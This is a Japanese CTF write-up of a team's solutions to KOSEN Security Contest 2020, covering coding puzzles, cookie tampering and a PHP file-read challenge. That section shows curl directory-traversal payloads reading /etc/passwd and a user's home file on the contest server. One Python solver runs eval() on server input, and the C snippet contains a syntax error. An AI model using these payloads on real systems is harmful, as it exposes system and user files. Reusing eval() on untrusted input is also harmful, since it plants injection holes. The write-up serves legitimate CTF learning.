KOSENセキュリティ・コンテスト 2020 WriteUp

# 概要
11月14日にオンライン開催で行われた高専セキュリティ・コンテスト（高専セキュコン、#sckosen）に参加しました。チーム名は「面倒なことをPythonに任せたらPythonが人類を超えた回」で、結果はスコア2560で51チーム中11位でした。この記事では、僕が担当した問題について書ける範囲で解説します。

## 練習問題 （10 pts）
練習用のフラグ。問題文のフラグをコピー&ペースト。
フラグは忘れました。

## 足し算しよう（50 pts）
1000から10000までを足した数がフラグ。C言語でときました。

```c
#include <stdio.h>

int main(void) {
	int n = 1000;
	int sum = 0;
	while (n <= 10000) {
		sum += n:
		n++;
	}
	printf("FLAG{%d}", sum);
	
	return 0;
}
```
フラグは FLAG{49505500} 。

## おいしく焼けました （100 pts）
「${N}枚クッキーが焼けました」と表示がされるWebサイト。
アクセスするたびに表示される数字が1ずつ増えました。
cookie上に設定されたvisitedという値が1ずつ増え、表示に関係していそうだったため、curlで大きい値を設定してみると10e^19にしろというヒントを貰いました。

```shell
curl -i -b "visited=10000000000000000000" http://52.175.155.247:8088/cookie.php
```

フラグは忘れました。

## 熱血計算塾 (50 pts)
足し算や引き算の問題をいっぱい出してくれるサーバ。
運営から配布された auto_calc_sample_v3.py に、与えられた式を計算する処理を追加しました。

```Python
#!/usr/bin/python
# -*- coding: utf-8 -*-
import socket
import decimal
import re
import time

def netcat(hostname, port):
	s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
	s.connect((hostname, port))
	nop = re.compile("ok",re.IGNORECASE)
	while 1:
		data = s.recv(1024)
		if data == "":
			continue
		if data.decode('utf-8').strip() == "Let's solve a simple math problem.Please hit Enter key":
			s.sendall(bytes("\n", "utf-8"))
		elif nop.search(data.decode('utf-8')):
			print (data.decode('utf-8'))
			pass
		else:
			#data 変数に、サーバから送られてくる問題文が含まれる
			print (data.decode('utf-8'))
			try:
				#ここに計算する処理を記述する
				print(data.decode('utf-8')[:-2])
				answer = eval(data.decode('utf-8')[:-2])
				#answer = 計算結果をanswer変数に格納して、answer の値をサーバに送る
				print (answer)
				s.sendall(bytes(str(answer) + "\n","utf-8"))
			except:
				print ("flag?\n")
				break
	shutdown(s)

def shutdown(s):
	print ("Connection closed.")
	s.shutdown(socket.SHUT_WR)
	s.close()

if __name__ == '__main__':
	netcat("52.175.155.247", 5555)

```

## 値段の比較はお手の物 (200 pts)
15秒でリロードされてしまうWebサイトで、商品一覧から条件にあった商品名を見つけて150回解答し続ける問題。条件や商品一覧の表はリロードする度に変わり、ミスすると最初からやり直しになります。
条件は 「${N}番目に{高, 安}い商品」、「最{高, 安}値の商品」というように記述されています。
画面から商品データを読み取り、自動で解答フォームに名前をセットし送信するスクリプトをJavaScriptで書き、開発者ツールのコンソールで手動実行し続けました。（150回）
商品名と価格を入れたオブジェクトを配列にプッシュしていき、価格でソートしてN番目を抽出し、その商品名をフォームに入力しました。
条件文に「高」の文字があるかどうかでソートが降順か昇順かを決めました。「最」の字が含まれていた場合Nは1としました。
150回繰り返すのはチームメイトにも手伝ってもらいました。自動化したかったけど思いつきませんでした・・・。

```javascript
n = -1
high = false;
prices = []
n = Number(document.getElementById("message").innerText.split("番")[0]);
if (document.getElementById("message").innerText.split("高").length > 1)
    high = true;
else {
    high = false;
}
if (document.getElementById("message").innerText.split("最").length > 1)
    n = 1;
for (let i = 0; i < document.getElementsByName("price").length; i++) {
    let p = Number(document.getElementsByName("price")[i].innerText.split("：")[1].split("円")[0])
    let item = document.getElementsByName("item")[i].innerHTML.split("<br>")[1];
    prices.push({item: item, p: p});
}
function compare(a,b) {
    let comp = 0;
    if (a.p > b.p) {
        comp = 1;
    } else if (a.p < b.p) {
        comp = -1;
    }
    if (high)
        return -1*comp;
    else
        return comp;
}
prices.sort(compare);
document.getElementById("name").value = prices[n-1].item;
document.getElementsByTagName("button")[0].click();
```

フラグは FLAG{けんじつなありのさんもわすれないでね}

# 15game (200 pts)
1から交互に1つ〜3つずつ番号を数えていき、「15」と言ったほうが負け、という「15game」を拡張した、「交互にa個ずつ数えNと言ったほうが負け」というルールで対戦するプログラムを作る問題。
チームメイトに教えてもらった以下のサイトを参考にし、Pythonプログラムを書きました。
https://ameblo.jp/ben-joh/entry-11307463378.html

```Python
#!/usr/bin/python
# -*- coding: utf-8 -*-
import socket
import decimal
import re
import time

def netcat(hostname, port):
	s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
	s.connect((hostname, port))
	badnum = -1
	once = -1
	say_min = -1
	say_max = -1
	while 1:
		data = s.recv(1024)
		if data.decode('utf-8')[0] == "#":
			once = int(data.decode('utf-8').split("\n")[2].split(" ")[2])
			badnum = int(data.decode('utf-8').split("\n")[3].split(" ")[2])
			print(once, badnum)
			say_min = 1
			say_max = (badnum-1)%(once+1)
			answer = "{}:{}".format(say_min, say_max)
			print (answer)
			s.sendall(bytes(str(answer) + "\n","utf-8"))
		if data.decode('utf-8')[0:9] == "My   turn":
			enemy_min = int(data.decode('utf-8').split("\n")[0].split(": ")[1].split(":")[0])
			enemy_max = int(data.decode('utf-8').split("\n")[0].split(": ")[1].split(":")[1])
			print(enemy_min, enemy_max)
			say_min = enemy_max + 1
			say_max = say_min + once - (enemy_max-enemy_min+1)
			answer = "{}:{}".format(say_min, say_max)
			print (answer)
			s.sendall(bytes(str(answer) + "\n","utf-8"))
	shutdown(s)

def shutdown(s):
	print ("Connection closed.")
	s.shutdown(socket.SHUT_WR)
	s.close()

if __name__ == '__main__':
	netcat("52.175.155.247", 10001)
```

フラグは忘れました。

# デバッガ (200 pts)
拡張子exeのWindows用実行ファイルを実行する問題。
僕はGNU/LinuxしかOSを持っていないため、wineをインストールして実行しました。するとフラグが出力されました。Windowsであればただ実行するだけではフラグが出力されない？（未確認）

```shell
wine checker.exe
```

出力は以下

```text
=====================================================================
                              Welcome!!!
     If you resolved this problem, the flag will be output...
=====================================================================
FLAG{hXT57e8j}
```

フラグは FLAG{hXT57e8j} 。

# PHP Beginner Practice 1 （200 pts）
脆弱性を利用しサーバ上のユーザのホームディレクトリにあるフラグファイルを取得する問題。
公開されているWebページreadFile.phpはPHPで書かれて、POSTしたデータを元にファイルを読み込み表示しているようです。ディレクトリトラバーサルの脆弱性が使えそうなので以下を実行しユーザ一覧をみました。

```shell
curl -X POST -F "file=../../../../etc/passwd" http://52.175.155.247:8103/readFile.php
```

そして見つけたユーザのホームディレクトリの user.txt にアクセスし、フラグをGETしました。

```shell
curl -i -X POST -F "file=../../../../home/dachshund/user.txt" http://52.175.155.247:8103/readFile.php
```

フラグは忘れました。

## 感想
KOSENセキュリティ・コンテストへ初めて参加しました。楽しんで問題を解け、参加してよかったなあと思いました。チームメイトと助け合ってすすめられた点も良い経験となりました。今後もCTFを続けていきたいです。

## 更新
- 作成：2020年11月15日